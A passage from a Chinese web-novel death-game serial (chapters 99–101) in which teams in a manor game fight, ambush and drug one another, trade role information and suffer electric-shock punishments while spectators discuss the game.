在说那些看不懂的文字?
房门处,秀老板也望向雕壁:尺幅大概有1.5×1平米,位于屋子里侧墙壁上,对着房门。
由于沈墨棠和兵哥的遮挡,底部有一部分看不见。但不论能否见到全貌,秀老板都知道自己完全不懂上面写的什么。
经历前几个夜晚,玩家们对“屋子”的内部构造基本了如指掌,能看懂的早看懂了。
所以,东城这个妹妹能看懂?
秀老板怀疑地扬起下巴。
她几乎和兵哥一样高,像只纤瘦的幽灵,黑色连衣裙阴郁而华丽,大眼睛透出动物般的诡异,一笑起来,令人不寒而栗。
她的注意力全在兵哥、沈墨棠和雕壁上。
看到他们对着雕壁窃窃私语。
视线微移,又看到旁边的宋白河,已经轻轻拿起多宝架上的瓷瓶……
秀老板眼睛猛地睁大:“喂!!!兵……”
强壮的手臂挥舞,瓷瓶推开空气,重重砸在兵哥后脑勺上!
“砰——!”
瓷瓶爆裂,碎屑崩得到处都是!
饶是沈墨棠早有准备,也还是吓了一跳,连忙躲开。
宋白河立刻放开手脚,趁着兵哥晕眩之际,拽过他的身体,抡起一记上勾拳狠狠砸中他的下巴!
——喀!
牙套差点飞出嘴,兵哥大脑震荡,昏沉沉瘫了下去,倒地不起。
“该死的贱人!!!你们干了什么!!”
屋子里瞬间只剩下秀老板刺耳锐利的怒骂声。
她犹如一只落地的黑鸟般扑了上来,第一时间想去摇铃,却被宋白河轻易撞开。
“嗵”的一声,秀老板摔倒在地,手臂跟地板接触的瞬间,能听见骨头断裂的一声脆响。她身后,是不知何时已经在这的沈墨棠,抬起脚狠狠踹在她之前受伤的肩膀上。
“哇哇啊!”
怒骂声消失,秀老板失去平衡倒地,抱着手臂打滚,疼得哇哇大叫。
不得不感叹,周彤的杀伤力就是强。
“别乱动。”
沈墨棠换了口吻,齐刘海下眼神冰冷,拿过宋白河手中的碎瓷片,对准另一边昏迷的兵哥的喉咙:“我说了,我们没必要争斗,会让其他两个队渔翁得利。”
“那你们……”秀老板涨红了双眼。
“但是我们要摇铃。”
沈墨棠勾起嘴角,宛若邪鬼,比黑色幽灵更加恐怖的恶鬼。
宋白河已经将长椅拖到房间中央,从旁侧要扶沈墨棠站上去。
“你摇。”沈墨棠思绪很快,“快点,别废话。”
“……”
宋白河为难地挤了嘴角,被沈墨棠瞪了一眼,最终还是踩上椅子拨了铃铛。
游戏开始前就决定好了,宋白河和周彤负责打架,游戏策略的事无条件听沈墨棠指挥。
“叮铃铃~”
铃声响起,铃铛消失。
宋白河落地,顺势将椅子踢到身后。
屋内立即响起广播:
“恭喜摇响铃铛的玩家逢凶化吉!其他玩家,您的惩罚将在天亮后降临!”
……
“真是精彩!”
秀老板咬牙挪到房门边,浑身散发着怨气,更像只成精的猫头鹰。
她眼眶彻底红了:“狗男女下午就商量这事?”
沈墨棠起身,将瓷片交到宋白河手里,走过房间。
鞋底踩过地上的碎瓷,发出“咯吱咯吱”的声响。
她平静地注视对方疼痛的表情、怒火中烧的大眼睛、散落的发丝和抽动的嘴角。
然后抬手,薅住秀老板的头发,迫其低下脑袋,俯下身子,直至倒在地上。秀老板两只手臂都已经受伤,被迫抬起头,眼角尽是恨意。
“宋白河。”沈墨棠低头俯视秀老板,目光平静如水:“下午我说了什么?”
宋白河高大的身影从背后靠近,挡住光线。
秀老板整个人被罩在阴影中。
他的声音从头顶落下,冷峻厚实:
“你说,这是永夜城,四方战。”
99. 巫凌海庄园26
耳朵嗡鸣,然后消失。
痛楚越来越清晰,意识渐渐回归。
窗外响起“邦邦”、“邦邦”、“邦邦”的连续两下梆子声。
双目睁开。
“兵哥,兵哥?”一睁眼,就是秀老板整张痛苦狰狞的脸,占据大部分视野,外围的地方,是昏暗一片,然后逐渐亮起,屋子的轮廓迅速显现。
“呃啊!”
兵哥瞳孔一扩,想要伸手一把推开秀老板!
但他做不到,他的双手被反绑在身后,被原本缠在宋白河腰上的绷带捆得死死的!
房间另一边是东城的两人,再抬头,屋顶的铃铛已经消失了。
脑袋突然又是一阵晕眩,兵哥不由得踉跄两下,双腿一软又坐回地上,倒在秀老板身旁:“你们……呃!”
沈墨棠坐在木椅上,双手撑在两侧,上身前倾,叠着腿:“兵哥,还好吗?”
兵哥后脑一阵抽痛,瞥了这边一眼:“操,你个疯子……暗算我……”
“喀拉拉……”
沈墨棠用瓷片在墙壁上划出声音:“可我没有杀你,你们。”
这话惹来北城两人怨毒的眼神。
兵哥和秀老板都坐在地上,需要抬起视线才能看到沈墨棠的脸。
沈墨棠俯视兵哥:“这算不算,我还了你的人情。”
兵哥脸色一黑:“呵?这么还?你们暗算我!还叫还我人情!?”
“我没杀你。”沈墨棠又强调了一遍。
“你会后悔的……”兵哥说着,表情一变,从嘴里吐出一颗断牙,裹着鲜血和唾液。
他动了动发酸的下巴,看向宋白河,宋白河的手指关节明显肿了一块,估计就是打掉牙时候造成的。
兵哥目眦欲裂,把话说完:“因为我已经后悔,之前没杀了你!”
沈墨棠神色一冷,站起身,椅子腿在地上“吱”地一声,惹得秀老板条件反射往后缩了缩身子。
“喂。”
沈墨棠突然间变脸,往前走的同时,瓷片在墙上“喀拉拉”地划过。“你觉得,我该杀你们吗?”
“来啊,你敢动手你就来啊!废物东西!”
兵哥冷笑着,抬头瞪着沈墨棠,却发现视野边缘冲进一道影子——嘭!
“呃!!!”
脑震荡的后遗症还没完全褪去,兵哥根本没来得及防备,就被宋白河飞起一脚,重重踢中面门!
鲜血瞬间从鼻子里喷出,耳朵在被嗡鸣覆盖前听到秀老板的惊恐尖叫。
突如其来的暴力,秀老板不由得愣住,目光从破相的兵哥身上,缓缓转移到旁边的宋白河脸上,紧接着又往后蜷缩。
东城,原来这么暴力吗?
压根不是想象中那样,满口“合作”的无害模样!
“嗯……那现在,可以好好谈了吗?”沈墨棠扭头看向宋白河,接着清了清嗓子,退回椅子上。
她语气放缓:“兵哥,秀老板,东城和北城如果打起来,另外两个队就要开心死了。”
兵哥堵鼻子,愤怒咕哝着,但身体明显不再有其他的动作:“最后还不是要打?现在先弄死你们这两个嗯……嗯”
“那是最后。”沈墨棠“咚”地敲了下墙:“但是在那之前,我们可以合作。”
见北城两人没再说话,抗拒地保持沉默,沈墨棠继续道:“我们有信息,你们也有信息,我们彼此之间可能存在[喜爱]或者[憎恶]的对象,还可以一定程度上弄清楚其他两个队的信息。”
“先确定我们两队的优势。我们一起走到最后,再好好打上一架不是更好吗?”
沈墨棠说着,看到兵哥和秀老板都抬起头,于是停顿,微笑道:“你们不是还有司徒雅吗?我都听说了,新人战里,他的表现很凶悍呢!等最后一天,兵哥你也做好准备,秀老板你的手好点了,我们再打也不迟呢?”
兵哥口鼻流血,秀老板看不清他的表情,在沈墨棠的注视下,只能低头缄默。
无论如何,现在秀老板知道了一个重要的信息:
庄园里的东西竟然能带进屋里!
宋白河就是一个最好的例子——他身上的灰色呢子西装,他腰上缠着的绷带,都是庄园内的物品!
这证明虽然拿在手中的武器、道具会在进入夜晚的“十天干”屋子时消失……但穿戴在身上的却不会!
沈墨棠在第二个晚上,注意到宋白河身上的西装时,就意识到这点。
而现在,秀老板要隐忍。
她要在天亮后,在之后的游戏中,好好利用这个发现!
……
感觉到对方态度有所松懈,沈墨棠又对兵哥说道:
“第一晚你没杀我,欠了你一命,我说过我会报答你;今晚我们没杀你们,还了你们两条命。说明我说话算话。”
“是这么算吗?”兵哥终于回应,语气略带嘲讽。
“是这么算。”
沈墨棠掷地有声地说完,起身“喀拉拉”将椅子拖到北城两人面前,吓得两人不得不抬头起身。
“你们坐。”沈墨棠退了回来,站在宋白河身旁。
兵哥和秀老板看了看椅子,站着没动,充满抗拒和防备。
沈墨棠叹了口气,像是最后通牒:“暂时合作,还是英勇赴死,你们选一个。先说清楚,我只是想还兵哥的人情,所以合作是平等的……如果你们不想,那我们就是纯粹的敌人。”
只有两个选择:平等合作,或者“纯粹的敌人”。
很好选择。
果然,兵哥和秀老板低声交流几句后,犹豫片刻,还是选择坐到椅子上。
他终于松口:“疯……东城的,你们怎么合作?”
“信息。”
沈墨棠站在窗户边,吹了下齐刘海:“跟第一天晚上一样,交换信息,我把我们知道的说出来,你们也是……昨天白天,兵哥要来找我,不就是想交换信息吗?”
兵哥沉默地点点头。
沈墨棠态度格外诚恳:“我的想法是,先确定我们当中有没有[喜爱]还是[憎恶]的对象,如果有[喜爱]当然好,这样我们两队都能多拿分;如果有[憎恶]也没关系,我们可以商量一个得分最大化而且两边都能接受的方案。可以吗?”
这倒没错。
兵哥又点头。
“我先说吧。”没想到沈墨棠毫无顾忌:“我的代号是‘午’,角色叫做裴珠,身份是客人。”
这么坦诚的态度,倒是让大家怔了怔。
包括宋白河都投来诧异的目光:“不让他们先……”
沈墨棠显得不以为然,歪着头:“合作嘛,信任最重要。”
她又示意宋白河:“你也说。”
“我……”
“说。”
“咳,”宋白河接话:“我是……‘辰’,叫巫乐安,身份是少爷。”
秀老板和兵哥对视一眼,秀老板随即眼尾一翻:“哪个少爷?庄园里有两个少爷。”
宋白河冷哼住嘴,不想再透露太多。
东城的信息全给了,北城一句话都没说,现在又提问,想空手套白狼呢?
他不爽地皱着眉:“换你们说了。”
明明打赢了,占了优势,还要先透露自己的信息……
怎么想,都是吃大亏了!
沈墨棠她到底想做什么?
秀老板“咯咯”笑了两声,仿佛看穿了宋白河的心思:“哎,那我说。我是巫晓楠,身份是小姐。”
“代号呢?”沈墨棠追问。
“卯,子丑寅卯的卯。”
卯,巫晓楠,小姐。
……
“邦邦邦”、“邦邦邦”、“邦邦邦”……窗外响起第三次梆子。
沈墨棠面不改色,脑中迅速回忆之前的幻觉中,那个模糊的“他”曾提到过要去找“晓楠”,应该就是“巫晓楠小姐”了。
这么说来,巫晓楠是巫老爷的女儿?
巫老爷没有生育能力,但有两儿一女,其中一个儿子是捡来的,疑似是巫乐安。
信息多了起来,隐隐约约的一条线逐渐被串联起来。
“兵哥呢?”沈墨棠适可而止,没有继续追问秀老板。
却见兵哥眼神中透出别样意味:“戌,马五,护院。”
沈墨棠皱眉:“我第一天说的?”
“刚好。”兵哥止住鼻血,无奈耸耸肩,“你说的时候,我以为你猜到我了。”
“我还告诉了你们马五的住处。”
“是的。”
“那你们都知道自己[喜爱]和[憎恶]的对象吗?”沈墨棠不急不躁。
“你们呢?”秀老板反问,看到宋白河愈发不满的表情,不由得有些怵。
“还不能确定。”沈墨棠倒是有问必答。
她清冷的目光死死盯着秀老板:“我只能确定,我[厌恶]的人,是你和西城的其中一个。”
秀老板沉默下来。
旁边的兵哥接过话:“为什么?”
“我根据之前几天的分数推测出来的。”沈墨棠仿佛是在安慰秀老板:“但是没关系,我刚才也说了,就算我们里面有[憎恶]的
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人,但还是可以商量出最好的选房方式,让全队总分提高。”
说完,她脸上立刻挂起用力过猛的微笑:“你们呢?”
北城两人先是对视,接着摇头。
沈墨棠挑起眉梢:“一点都不能确定?”
沉默片刻,兵哥犹豫着开口:“我可能是……[喜爱]老爷。”
“怎么说?”
“我……连着三天,都没有额外加分。”兵哥动了动脖子,似乎是因为脑袋仍然晕乎乎的,眼神里有些迷蒙:“除非,这三天有人和巫老爷一样,都连着扣分。”
连着……
沈墨棠凝眉。
兵哥说他的代号是“戌”,而“戌”在第一天是1分,第二天是0分,第三天是1分。按照他说的,连着三天都没有额外加分,就是他[喜爱]的人一直都扣分,而[厌恶]的人一直都加分。
所以,“戌”在第一天摇了铃铛,只加1分;在第二天没摇铃,扣了1分;第三天又摇铃了,又加回一分。
沈墨棠第一天晚上和兵哥同个[凶屋],能确认他加了分;第二天眼看到他受到“惩罚”,也就是扣了分。
至于第三天,昨天晚上,他应该是又摇铃加分了。
“昨晚你们谁扣分了?”沈墨棠问。
秀老板简单回应:“锅盖头。”
司徒雅?
扣分了?
宋白河欲言又止。
在他印象中,司徒雅应该是那种体力和武力都十分强硬的人,就算跟其他玩家同处[凶屋]也不太可能会被打败的人。
除非……就像沈墨棠说的……
“你和他选一起?”沈墨棠追问秀老板。
秀老板不情愿地“嗯”了一声。
“我昨晚和他在一起。”沈墨棠突然又指向宋白河,“我摇铃,他被扣分了。”
这信息没人问,但她还是主动说出口,似乎是想证明在“合作”这件事上,信息的交换都是对等的,没有谁占谁的便宜。
至少是传达出了这个讯号。
沈墨棠延续着信息的公开:“你们知道安妮医生吗?”
兵、秀两人抬头,都露出迷茫的眼神,看来是第一次听到这个角色。
“她是我们的青六万。”沈墨棠故意似的指了下秀老板的肩膀,和盘托出:“是酉,第十个,酉,安妮,医生。”
看着沈墨棠如此坦诚,秀老板眼中不禁闪过一丝怀疑,带着些许不安。
沈墨棠没有给她时间多想,追问:“你们那个锅盖头呢?”
“他……”秀老板再一次侧眼看向兵哥,兵哥坐在椅子上,双腿叉开,稍稍清醒了些,只是依旧垂着脑袋,没有阻止。
要彻底合作的话……
秀老板支吾着开口:“亥,木无忌,教书先生。”
沈墨棠和宋白河脸色一凛。
木无忌,教书先生?
是小六姐幻觉中在意的那个“木先生”吗?
亥……
沈墨棠迅速在记忆中搜索,印象很深:亥第一天和第二天都保持最高分,分别是3分和5分,可第三天却一分未加,仍是5分。
如果兵、秀二人所说属实,那么北城三个人的信息就都出来了:
秀老板,卯,巫晓楠,小姐。
兵哥,戌,马五,护院。
司徒雅,亥,木无忌,教书先生。
……
“我想想还有什么……”沈墨棠吹起刘海,一边思考着,一边在房间中来回踱步。
宋白河靠在多宝架旁,面色不悦;秀老板站在房门边,像猫头鹰似的满身防备;兵哥坐在椅子上,双手被捆在身后,垂着头一动不动。
窗外响起第四次梆子:“邦邦邦邦”、“邦邦邦邦”、“邦邦邦邦”……
“还有三个晚上,我们可以制定一个最佳的选房方案。”
梆子声停下,沈墨棠从宋白河身后探出脑袋,神色如常:“还有什么信息可以参考吗?”
秀老板摇摇头。
“兵哥呢?”
兵哥埋着脸,也摇头。
沈墨棠于是从宋白河背后走出,背着手,径直朝坐着的兵哥走去,眼神中闪过一抹寒光:“兵哥。”
兵哥抬起头。
“——啪!”
沈墨棠将藏在背后的陶瓷壶,狠狠砸在兵哥天灵盖上!
“你们凭什么认为,我会老老实实把一切都告诉你们?”
“因为死人,是不会说话的。”
“到此为止了。”
“宋白河,动手!”
100. 巫凌海庄园27
游戏开始后25小时,第五天,晨。
庄园的天蒙蒙亮,万物如常,几无变化。平静的湖水、荷叶,延绵的龙墙、屋檐,被推坏的房门,焦黑的土坑,游廊的污渍,被掀飞的窗帘……一切都是静止的,连过夜后的露水都不曾出现。
脚步声凭空响起,逐渐靠近。
“咔哒咔哒”一阵开锁的声音,屋门外的锁链被抽离,随后屋门被“咿呀”推开。
门口满满当当,挤了四个陶瓷娃娃,一同发出提示:“请玩家前往燕台集合。”
“走吧。”
沈墨棠当先走出“丙”房间。
宋白河回头确认一眼,也出了房门。
两人跟在各自陶瓷娃娃身后,顺着游廊走远,身影消失在拐角。
“丙”房间门口,还剩两个陶瓷娃娃。
它们在原地等了一会,才迈开脚步,相继进入屋内。
……
游廊两侧皆是白墙,玩家一旦尝试走岔路拱门,陶瓷娃娃就会发出警告:
“警告!警告!请玩家进行跟随,前往燕台集合。若您被判定违规,游戏方将使用暴力手段。”
具体是什么暴力手段,没人闲得想尝试。
——除了沈墨棠。
游戏开始最初的两天,沈墨棠尝试过在前往燕台的途中,故意放慢脚步,拖延集合时间,或者干脆往岔路方向走,脱离既定路径。
她心里清楚,正如每个在永夜城生活过的玩家都清楚:
陶瓷娃娃的战斗力、执行力、判决力毋庸置疑。
可是,它们在四方战的表现是否会有所不同?
沈墨棠还是想亲自验证这点。
结果意料之中,被暴力驱赶回主路途上。
……
不久,在庄园被阳光彻底洒满前,玩家们于燕台集合完毕。
簌……簌簌……簌……
肢体在抽搐,一阵一阵的。
老仙儿和柯思思,一老一小四颗眼珠子被怒火烧得通红,眼神中满满的担忧、盛怒、更加明显的防备、压制不住的愤意。
两人身旁,兜帽男生死未卜。
粉色的兜帽盖着他脑袋,从露出的面部来看,他的鼻梁已经被打断,鼻青脸肿,嘴角裂开,唾液混杂着鲜血汨汨流出,卫衣胸口早已一片污津。
他根本无法坐稳,只能靠身后的陶瓷娃娃提着,四肢像断线的玩偶,胡乱垂在两侧。
抽搐的原因不像是疼痛,更可能是肢体本能的神经反射。
被砍掉脑袋的鱼儿还会蹦跶几下呢,更何况这么大的人。
他死了?
见到队友如此,老仙儿和柯思思自然满腔愤恨。
可他们却不知道该对谁发作。
一开始,他们觉得打死席炎的,是北城的司徒雅。
和其他人不一样,司徒雅出现时,对席炎表现得毫不吃惊,甚至隐隐露出得意。当柯思思质问他的时候,他也只是冷哼一声,挑衅般活动了手指,关节咔咔作响。
老仙儿刚想发作,可最后登台的两人,却令他从盛怒中短暂抽离:
北城的秃头男和连衣裙女人,被各自的陶瓷娃娃扛上台,放到圆凳上。
同席炎一样,他们两人也被提溜着,秃头男破了头,连衣裙女人肿着脸,看外伤虽然不致命,但很显然,两人早已失去意识。
局势急转直下。
这下,轮到锅盖头生气了。
短短几分钟内,他突然就成为了西城仅剩的玩家。
冰冷可怕的眼神宛若饿狼,扫过全场,整个人散发着诡异得邪气。那股令人胆怯的压迫感,倒是冲淡了老仙儿和柯思思的一些惊恐与愤怒。
游戏开始白热化了。
……
人员到齐,11个陶瓷娃娃齐声:“玩家到齐,公布当前分数情况。”
山墙信息:
【DAY5】
【00:00】
【子:0】【丑:7】【寅:7】【卯:6】【辰:5】【巳:3】【午:3】【未:3】【戌:0】【酉:9】【申:9】【亥:7】
【今日可选择房间:“甲”、“乙”、“丙”、“丁”、“戊”、“己”】
……
东城【蓬莱】,顶层俱乐部。
青八筒咋咋呼呼:“啥子哦,这是干架咯?”
青三万盖上手机,拿起空的饮料杯,起身走向吧台:“八哥,这很正常,不管怎样第七天晚上都只剩下4个房间,肯定要打起来的……欸!!!稀客噢!!!”
引起黑长直女孩注意的,是一个从俱乐部门口走进来的人。
“斯旺!”青八筒看清来人后也跟着打招呼:“你咋来了?”
斯旺一头吹得干爽的长发,始终一副与我无关的神态,穿着东城校服的模样实在有点违和。他先是抬起没睡醒似的眼睛,确认俱乐部里只有青八筒和青三万,然后回应:“太无聊了,过来搞杯喝的。”
“太好了!正渴着呢!”青三万将空杯子几乎是扔在吧台上,高举双臂欢呼。
旁边的青八筒已经殷勤地掀起吧台挡板,冲斯旺笑着:“恭迎调酒大师!有生之年啊有生之年啊!”
“我也要我也要!”青三万坐上高脚椅,身体来回律动,头发一甩一甩:“斯旺老师,来杯特调吧!”
“这就是我不爱上这儿的原因……”斯旺低低抱怨着,声音几乎只有他自己听得到,但还是走进吧台。
作为【蓬莱】所有飞升者当中公认的调酒大师,斯旺名声显赫。
因而他每次到俱乐部消遣,都会被这个或那个拜托帮忙调酒。久而久之,只要吧台内站着斯旺,俱乐部就会莫名地越来越热闹。
被迫当了酒保的斯旺虽然嘴上抱怨,但偶尔技痒的时候,还是会想着来调制几杯。
王潇说过斯旺这是“傲娇”,但斯旺觉得自己就是有喜欢的热闹程度——一两个人刚好,三四个人还行,五六个人有点闹,再多就一团糟。
“想喝点?”
斯旺进入吧台内,扫了眼吧台和酒柜,驾轻就熟地掏出手帕和冰桶,顺手将吧台上的空杯收进水池。
“想喝甜甜熏熏酸酸爽爽的!缓解一下情绪。”青三万跟换了个人似的。
青八筒狗腿归狗腿,但还算镇静,笑道:“斯旺,你晓得我的。”
“重的,利口的……你是甜的,果味的……”斯旺嘴里念叨着,开始在酒柜上挑基酒,瞥一眼屏幕,不经意地问:“怎么样了现在?”
“第五天刚开始。”青八筒在吧台撑着下巴:
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“开始干仗咯。”
斯旺拿酒转身,在吧台捣鼓杯勺器皿,漫不经心又看一眼屏幕:“这游戏肯定会有冲突,规则设定就是越往后冲突越剧烈。筒子游戏,肯定是偏体力。”
青八筒奇怪:“你说它这规则一开始也没说要体力,咋会打成这样咧?”
“没提到体力,但它就是考验体力。”斯旺又从冰柜里拿了颗鸡蛋,打进加了碎冰的雪克杯中,盖上盖开始“沙沙”快速摇晃:“你看,调酒也没说要体力。”
“还有,体力游戏也不单单是比体能,包括生存考验、暴力对抗、极限运动都算是体力游戏,没那么简单的。”
斯旺说完,停下摇杯,倒入玻璃杯中。
青八筒看着那堆被碎冰沙打发出泡沫的鸡蛋液,像是海边雪白的浪花被打捞上来,问道:“好家伙,那为啥不直接开打哦,反正最后都要打……”
斯旺将半瓶龙舌兰往吧台上一放,略显无语:“贾老八,你为啥不直接吹瓶老白干,还要我在这儿调半天呢?”
一旁的青三万被逗笑:“反正最后都要进肚子里,是吧,八哥!”
斯旺继续用量杯打了龙舌兰,加进冰蛋液中。
青八筒缩起下巴,只觉得莫名其妙被怼了,满脸不解:“啥意思啊你们?”
“八哥,四方战的游戏比城里更复杂。”青三万帮忙解释:“极端来说,永夜城不就是一个要让人自相残杀的地方吗?大家要不断参加各种游戏活着设计游戏,赚积分才能活,在这个过程中会不断淘汰别人……虽然这些人不是直接因你而死,但总归是因为你占了他们的生存的机会。”
青八筒悻悻然:“他们弱呗。”
斯旺微妙地皱起眉。
青三万继续:“既然这样,那你直接把其他人全杀了,游戏里不就没对手了吗?”
“哎……”青八筒捋了下金发,倒是认真想了想:“那……城里不是没法子这么做么,有那些陶瓷娃娃……”
青三万突然侧过脸来:“八哥,你从来没想过这个问题吗?”
青八筒一愣:“想啥子问题?”
“永夜城到底想做什么啊。”青三万掏出手机,放在吧台上,“就像老大,还有青九万说的,永夜城的最终目的,是要选出什么样的人?”
“人?”
青三万:“永夜城这么发达,偏偏要搞一堆各种规则,各种形式的游戏,还给人戴了狗环,逼我们要不停参加游戏,不停和人对抗,连飞升了都还有四方战要忙……”
说着,她看了眼斯旺,继续道:“反正就是永夜城这么做,肯定不是想选一个最能杀人的终极杀手出来吧?”
青八筒龇着牙,脑袋上冒着问号,不知道该说什么。
“你的。”斯旺推出一杯让人联想起夕阳海滩的饮品,装饰一颗小西红柿,惹得青三万“哇”地大叫。
青八筒接过特调,暂时将解不开的问题抛到脑后:“谢啦斯旺大师!”
“我的呢我的呢!!”青三万迫不及待。
“在做了。”斯旺低低应了声,将量杯扔进水池清洗,看着屏幕,自言自语:“永夜城这场局,没那么容易解开。”
青八筒和青三万对视一眼,都沉默下来。
屏幕上,【巫凌海庄园】的直播仍在继续。
101. 巫凌海庄园28
第四个夜晚,只产生12分。
有6个人被扣分。
沈墨棠迅速扫了一眼山墙,心中有数。
目前东城“辰”+“午”+“酉”总共17分。
继续保持,很有获胜的希望。
北城“卯”+“戌”+“亥”总共只有13分——不出意外今晚“卯”秀老板和“戌”兵哥都会淘汰,积分清零——北城就只剩下司徒雅的7分。
沈墨棠瞥了眼北城,有些不放心,小声向宋白河确认:“你确定药量够吗?”
宋白河摸了摸西装口袋,附耳回问:“应该,够吧?”
她皱着眉将头转向他。
宋白河赶紧坐直,轻咳两声,正色道:“如果……如果那些药还生效,就足够他们睡24小时,药牛都够了;如果过期变质了,他们吃那么多……也有可能挺不过来。”
意思是不论如何,玄九条和玄二筒在天黑之前都醒不了。
只要他们醒不了,就不会透露任何东城的信息,也无法选择房间。
根据规则,天黑前没有选择房间的玩家,将被移除游戏,积分清零。
沈墨棠吹了下刘海,目光再次投向山墙。
在“长香居”找到的药物竟然真的派上用场!
由于掌握了北城的信息,所以排除北城和东城后,剩下的六个代号分别是“子”、“丑”、“寅”、“巳”、“未”、“申”。
“子”是西城的大块头。
剩下的五个代号当中,“丑”、“寅”、“申”都比昨天加了2分,“未”加了1分,“巳”扣了1分。
如果没猜错,“巳”大概率会是南城的兜帽男——看样子,他也撑不过今天。
剩下西城两人和南城两人。
“丑”、“寅”、“未”、“申”的分数分别是“7”、“7”、“3”、“9”。
任意二者相加,最多是18分,比东城三人加起来还高1分。
接下来,要尽量压制西城和南城了……
沈墨棠迅速分析过局势,叮嘱周彤:“小六姐,等下我被惩罚,宋白河会带我离开,你要留在这里,别让西城和南城太亲近。”
“好,西城和南城。”周彤冷冷点了下头。
她靠近沈墨棠悄声问:“你昨晚没摇铃?”
“嗯。”沈墨棠也点头。
有些事情,还是需要再亲自确定。
对她而言,参加四方战不仅仅要打通游戏,更重要的是探寻永夜城的未解之谜。
【巫凌海庄园】内,除了游戏内容之外,还存在一个未知的巨大谜团。
巨人。
小六姐一开始看到过“巨人”;南城的兜帽男也看到过“巨人”;沈墨棠被惩罚的时候,也感受到了“巨人”……这证明“巨人”不止是单个玩家的臆想,而是真实存在于【巫凌海庄园】的……
幻觉?现实?
希望能在游戏结束前弄清楚“巨人”的由来,解开更多谜团。
扛得住的!不过只是再电一下而已!
……
“甭浪费时间咧!”
老仙儿打断了沈墨棠的思考。
他翘着腿,不停抖脚,神色间掩不住的不耐烦,声音洪亮:“咱就是说,尾巴一天就剩4个房间,不可能咱每队一屋吧?”
“瞧着大伙今儿都不着急走,要不聊聊?”他说着,凉鞋在地板上打出啪啪啪的声响。
今天确实显得反常,没有任何一队先离开。
但尽管如此,也都没人开口回应老仙儿。
“哎!都不说话,也行,我先聊私的,”老仙儿冲对面的北城司徒雅抬下巴:“我们家这位,是你个龟孙儿干的?”
司徒雅斜眼看向席炎,冷笑起来。
“行,这笔帐咱记下了。”老仙儿也笑,一改先前的闲散态度,愤怒的眼睛一提溜,活像个老生,定睛瞪向东城:“女娃子,现在你们最有优势咧!”
场上四队,只剩下东城还是满员状态。
“你们谁干的?”司徒雅的逼问紧随而至,他试图确定对兵哥和秀老板动手的人。
感受到来自左、右、前三方的目光,沈墨棠心思复杂纷乱。
03:14……
03:15……
03:16……
03:17……
时间一点点流逝。
沈墨棠一不做二不休,干脆先保持沉默,静观其变。
“咋了女娃子,敢做不敢当咧?”老仙儿明显没打算放过,再次出言相激:“敢杀人,不敢认?”
不消片刻,山墙时间已经过了四分半钟。
沈墨棠终于抬眼,面无表情望向老仙儿:“你确定吗?”
这反问让老仙儿顿了一秒,随即狞笑:“确定咧!小女娃儿!”
他虽然是斩钉截铁的语气,但目光还是扫了眼西城的两人——如果干掉北城的不是东城,那有没有可能是西城?
司徒雅也瞥向西城,目光森然。
不太可能会是西城吧?
兵哥和秀老板明明是进的“丙”房间,而西城他们之前说了,会选“甲”和“乙”。
西城说谎了?
不……
兵哥和秀老板这笔血债,要么是东城干的,要么就是南城老仙儿干的?
“不是我们呐。”
西城的中年男第一时间撇清关系:“我们昨晚谁也没遇……”说到一半,他突然缄口,没再说完。
果然,其他三队的玩家,纷纷投来警惕的目光:
既然西城两人一个“甲”房间一个“乙”房间,而且没遇上其他人,那么他们的得分必然更高。
现在南城减员一人;北城减员二人。
从这两天的情况来看,能与西城拼总分的,只剩下满员的东城了。
司徒雅感受到老仙儿一闪而过的眼色,一股不如意的情绪在胸腔里重重低哼着。
他清楚,无论老仙儿是有意的还是无意的,无论造成南、北两队减员的罪魁祸首是谁,现在都到了不得不共同针对东、西两队的时候。
想要获胜,只能主动出击!
04:53……
04:54……
04:55……
04:56……
时间来到五分钟。
沈墨棠瞥了眼时间,本能地感到恐惧,不动声色地碰了下宋白河的手,示意他做好准备。
可怕的“濒死”状态、未知的“幻觉”、神秘的“巨人”、比死亡恐怖百倍的绝望感……很难形容那种真实的绝望。
怎么说,好比上学时弄丢了一星期的零花钱;好比无缘无故,被看不惯自己的老师拉去炎热的操场上罚站整堂课;好比不知何时,就再也没见到过欠债跑路的父亲;好比长大后的某一瞬间,才清楚意识到当初母亲跳楼前想杀了自己。
“扑通、扑通、扑通……”
心跳在加速,脉搏跳动,右手食指无意识地“嗒嗒嗒”敲打大腿。
“嗯?”
右手被轻轻握住,沈墨棠侧目,对上周彤平静
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的双眼。
没事的,没事的,只是被电一下而已,没事的……
突然间,左手也被一只也感受到一阵被包裹的温暖!
宋白河?
沈墨棠回头,双肩被身后的陶瓷娃娃抓了一下,一股电流涌入,瞬间失去意识……
“呲呲呲……”
宋白河和周彤也都被电到,但仍紧紧握住沈墨棠的手。
两人的想法相同:一起承受“电击惩罚”是不是能帮沈墨棠分担一点伤害?
电流确实也传导到两人身上,但微乎其微。
骨头像是被针扎过一样,酥酥麻麻的,肌肉都快要抽搐起来,但总体影响不大。
沈墨棠还是倒下了,被宋白河及时抱住。
周彤瞥向其他队伍:
北城的兵哥和秀老板、南城的兜帽男和小姑娘都受到了“惩罚”,纷纷簌簌倒地。
加上沈墨棠,加上西城已经淘汰的大块头,正好是昨晚被扣分的六名玩家。
只见南城的老仙儿孤零零坐在那里,怀抱昏迷的小姑娘,像个失女无助的顽固老头,冲西城叫着:“小伙子,来帮帮忙。”
他脚边,还躺着鼻青脸肿的兜帽男,兜帽落了下来,五官惨不忍睹。
眼看西城两人不动,周彤示意宋白河,让他抱着沈墨棠先离开。
这是小九第几次失去心跳了?
游戏结束后,该不会留下后遗症吧?
东城还需要靠她赢得四方战呢。
不止这一届,还有下一届,还有下下一届……
东城还等她救命呢!
周彤作为曾经参加过四方战的老玩家,清楚当有成员在第一个游戏就身负重伤意味着什么——TA会成为全队的累赘。
在接下来的四方战当中,不得不一直分精力进行照顾,直至四方战完全结束。
或者更通常的,在过程中因为各种原因死去。
……
四方战,植物园。
告示牌显示着【巫凌海庄园】的总游戏时长:【24:33:08】
告示牌不远处的长椅上。
“整整一天一夜了,要命啊……”范诺琪躺得板正,跟准备入土为安似的,闭着双目,说话有气无力:“老大,你确定跟筒子哥约好时间了吗?咱两这都等快一个小时了!这鬼游戏办的,这么多届了,就不能发展一点,好歹给个通讯设备呀!手机,对讲机?电报机都行啊!真不行给个飞鸽传书可以吧?”
另一张长椅上,王潇也躺在那里,双腿微曲,闭目养神。
她舔了下干燥的嘴唇,打趣般回应道:“我怀疑他们三个自己找到东西偷吃了。”
“啊!?”
范诺琪瞬间弹起,头上掉了好几个发卡:“不会吧不会吧?那三个男的这么自私的吗?”
